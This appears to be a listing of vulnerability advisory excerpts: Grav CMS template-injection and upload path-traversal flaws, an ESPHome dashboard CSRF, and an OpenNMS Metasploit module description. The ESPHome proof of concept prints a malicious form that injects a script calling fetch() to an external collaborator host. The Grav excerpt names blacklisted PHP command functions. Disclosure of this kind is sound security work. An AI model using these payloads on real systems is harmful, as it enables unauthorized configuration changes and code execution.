### Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. ### Details The Grav CMS implements a custom sandbox to protect the powerful Twig methods "registerUndefinedFunctionCallback()" and "registerUndefinedFilterCallback()", in order to avoid SSTI attacks by denying the calling of dangerous PHP functions into the Twig template directives (such as: "exec()", "passthru()", "system()", etc.). The current defenses are based on a blacklist of prohibited functions (PHP, Twig), checked through the "isDangerousFunction()" method called in the file "system/src/Grav/Common/Twig.php": ```php ... $this->twig = new TwigEnvironment($loader_chain, $params); $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safe_functions'); if (is_array...
### Summary _A file upload path traversal vulnerability has been identified in the application, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques._ ### Installation Configuration - Grav CMS 1.10.44 - Apache web server - php-8.2 ### Details _**Vulnerable code location:**_ grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_ public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string { // Add the defaults to the settings. $settings = $this->getUploadSettings($settings); // Destination is always needed (but it can be set in defaults). $self = $settings['self'] ?? f...

### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', { method&...
This Metasploit module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. For versions 32.0.2 and higher, this module requires valid credentials for a user with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. In that case, the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872 if necessary. This module has been successfully tested against OpenNMS version 31.0.7.
